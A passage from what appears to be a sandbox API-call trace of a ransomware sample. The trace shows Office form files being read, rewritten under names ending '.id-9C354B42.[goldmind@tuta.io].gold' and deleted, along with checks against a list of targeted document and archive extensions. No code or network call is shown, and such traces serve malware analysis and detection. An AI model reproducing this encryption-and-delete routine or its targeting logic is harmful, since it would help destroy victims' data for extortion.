Office\\Office14\\FORMS\\1033\\RECS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.498] GetLastError () returned 0x0 [0115.498] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0115.499] WriteFile (in: hFile=0x194, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0115.500] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.500] WriteFile (in: hFile=0x194, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0115.500] SetEndOfFile (hFile=0x194) returned 1 [0115.500] CloseHandle (hObject=0x194) returned 1 [0115.500] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.500] SetEndOfFile (hFile=0x230) returned 1 [0115.502] CloseHandle (hObject=0x230) returned 1 [0115.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.502] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico")) returned 1 [0115.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0115.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0115.503] lstrlenW (lpString=".doc") returned 4 [0115.503] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.503] lstrlenW (lpString=".docx") returned 5 [0115.503] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0115.503] lstrlenW (lpString=".pdf") returned 4 [0115.503] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.503] lstrlenW (lpString=".xls") returned 4 [0115.503] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.503] lstrlenW (lpString=".xlsx") returned 5 [0115.503] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0115.503] lstrlenW (lpString=".ppt") returned 4 [0115.503] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0115.504] lstrlenW (lpString=".zip") returned 4 [0115.504] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.504] lstrlenW (lpString=".rar") returned 4 [0115.504] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.504] lstrlenW (lpString=".bz2") returned 4 [0115.504] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.504] lstrlenW (lpString=".7z") returned 3 [0115.504] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0115.504] lstrlenW (lpString=".dbf") returned 4 [0115.504] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0115.504] lstrlenW (lpString=".1cd") returned 4 [0115.504] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0115.504] lstrlenW (lpString=".jpg") returned 4 [0115.504] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0115.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0115.504] lstrlenW (lpString=".doc") returned 4 [0115.504] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.504] lstrlenW (lpString=".docx") returned 5 [0115.504] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0115.504] lstrlenW (lpString=".pdf") returned 4 [0115.504] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.504] lstrlenW (lpString=".xls") returned 4 [0115.504] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.504] lstrlenW (lpString=".xlsx") returned 5 [0115.504] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0115.504] lstrlenW (lpString=".ppt") returned 4 [0115.504] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0115.504] lstrlenW (lpString=".zip") returned 4 [0115.504] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.504] lstrlenW (lpString=".rar") returned 4 [0115.504] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.504] lstrlenW (lpString=".bz2") returned 4 [0115.504] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.504] lstrlenW (lpString=".7z") returned 3 [0115.504] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0115.504] lstrlenW (lpString=".dbf") returned 4 [0115.504] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0115.504] lstrlenW (lpString=".1cd") returned 4 [0115.504] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0115.504] lstrlenW (lpString=".jpg") returned 4 [0115.504] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.504] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0115.504] lstrlenW (lpString="REMOTE.CFG") returned 10 [0115.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.505] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=779) returned 1 [0115.505] CloseHandle (hObject=0x230) returned 1 [0115.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg")) returned 0x20 [0115.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.506] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.506] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.506] GetLastError () returned 0x0 [0115.506] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x30b, lpOverlapped=0x0) returned 1 [0115.675] WriteFile (in: hFile=0x194, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x310, lpOverlapped=0x0) returned 1 [0115.675] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.675] WriteFile (in: hFile=0x194, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0115.676] SetEndOfFile (hFile=0x194) returned 1 [0115.676] CloseHandle (hObject=0x194) returned 1 [0115.676] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.676] SetEndOfFile (hFile=0x230) returned 1 [0115.677] CloseHandle (hObject=0x230) returned 1 [0115.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg")) returned 1 [0115.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0115.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0115.679] lstrlenW (lpString=".doc") returned 4 [0115.679] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.679] lstrlenW (lpString=".docx") returned 5 [0115.679] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0115.679] lstrlenW (lpString=".pdf") returned 4 [0115.679] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.679] lstrlenW (lpString=".xls") returned 4 [0115.679] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.679] lstrlenW (lpString=".xlsx") returned 5 [0115.679] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0115.679] lstrlenW (lpString=".ppt") returned 4 [0115.679] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0115.679] lstrlenW (lpString=".zip") returned 4 [0115.679] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.679] lstrlenW (lpString=".rar") returned 4 [0115.679] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.679] lstrlenW (lpString=".bz2") returned 4 [0115.679] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.679] lstrlenW (lpString=".7z") returned 3 [0115.679] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0115.679] lstrlenW (lpString=".dbf") returned 4 [0115.679] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0115.679] lstrlenW (lpString=".1cd") returned 4 [0115.679] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0115.679] lstrlenW (lpString=".jpg") returned 4 [0115.679] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0115.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0115.679] lstrlenW (lpString=".doc") returned 4 [0115.679] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.679] lstrlenW (lpString=".docx") returned 5 [0115.679] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0115.679] lstrlenW (lpString=".pdf") returned 4 [0115.679] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.679] lstrlenW (lpString=".xls") returned 4 [0115.679] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.679] lstrlenW (lpString=".xlsx") returned 5 [0115.679] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0115.679] lstrlenW (lpString=".ppt") returned 4 [0115.679] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0115.680] lstrlenW (lpString=".zip") returned 4 [0115.680] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.680] lstrlenW (lpString=".rar") returned 4 [0115.680] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.680] lstrlenW (lpString=".bz2") returned 4 [0115.680] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.680] lstrlenW (lpString=".7z") returned 3 [0115.680] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0115.680] lstrlenW (lpString=".dbf") returned 4 [0115.680] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0115.680] lstrlenW (lpString=".1cd") returned 4 [0115.680] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0115.680] lstrlenW (lpString=".jpg") returned 4 [0115.680] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.680] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.680] lstrlenW (lpString="RSSITEML.ICO") returned 12 [0115.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.681] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1078) returned 1 [0115.681] CloseHandle (hObject=0x230) returned 1 [0115.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico")) returned 0x20 [0115.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.681] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.681] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.682] GetLastError () returned 0x0 [0115.682] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x436, lpOverlapped=0x0) returned 1 [0115.684] WriteFile (in: hFile=0x194, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x440, lpOverlapped=0x0) returned 1 [0115.684] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.684] WriteFile (in: hFile=0x194, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.684] SetEndOfFile (hFile=0x194) returned 1 [0115.685] CloseHandle (hObject=0x194) returned 1 [0115.685] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.685] SetEndOfFile (hFile=0x230) returned 1 [0115.686] CloseHandle (hObject=0x230) returned 1 [0115.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico")) returned 1 [0115.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0115.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0115.687] lstrlenW (lpString=".doc") returned 4 [0115.687] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.687] lstrlenW (lpString=".docx") returned 5 [0115.687] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.687] lstrlenW (lpString=".pdf") returned 4 [0115.687] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.687] lstrlenW (lpString=".xls") returned 4 [0115.687] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.687] lstrlenW (lpString=".xlsx") returned 5 [0115.687] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.688] lstrlenW (lpString=".ppt") returned 4 [0115.688] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0115.688] lstrlenW (lpString=".zip") returned 4 [0115.688] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.688] lstrlenW (lpString=".rar") returned 4 [0115.688] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.688] lstrlenW (lpString=".bz2") returned 4 [0115.688] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.688] lstrlenW (lpString=".7z") returned 3 [0115.688] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0115.688] lstrlenW (lpString=".dbf") returned 4 [0115.688] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0115.688] lstrlenW (lpString=".1cd") returned 4 [0115.688] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0115.688] lstrlenW (lpString=".jpg") returned 4 [0115.688] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0115.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0115.688] lstrlenW (lpString=".doc") returned 4 [0115.688] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.688] lstrlenW (lpString=".docx") returned 5 [0115.688] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.688] lstrlenW (lpString=".pdf") returned 4 [0115.688] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.688] lstrlenW (lpString=".xls") returned 4 [0115.688] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.688] lstrlenW (lpString=".xlsx") returned 5 [0115.688] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.688] lstrlenW (lpString=".ppt") returned 4 [0115.688] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0115.688] lstrlenW (lpString=".zip") returned 4 [0115.688] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.688] lstrlenW (lpString=".rar") returned 4 [0115.688] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.688] lstrlenW (lpString=".bz2") returned 4 [0115.688] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.688] lstrlenW (lpString=".7z") returned 3 [0115.688] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0115.688] lstrlenW (lpString=".dbf") returned 4 [0115.688] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0115.688] lstrlenW (lpString=".1cd") returned 4 [0115.688] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0115.688] lstrlenW (lpString=".jpg") returned 4 [0115.688] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.689] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.689] lstrlenW (lpString="RSSITEMS.ICO") returned 12 [0115.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.689] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=2998) returned 1 [0115.689] CloseHandle (hObject=0x230) returned 1 [0115.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico")) returned 0x20 [0115.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.690] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.690] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.693] GetLastError () returned 0x0 [0115.693] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0115.694] WriteFile (in: hFile=0x194, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0115.695] ReadFile (in: hFile=0x230, 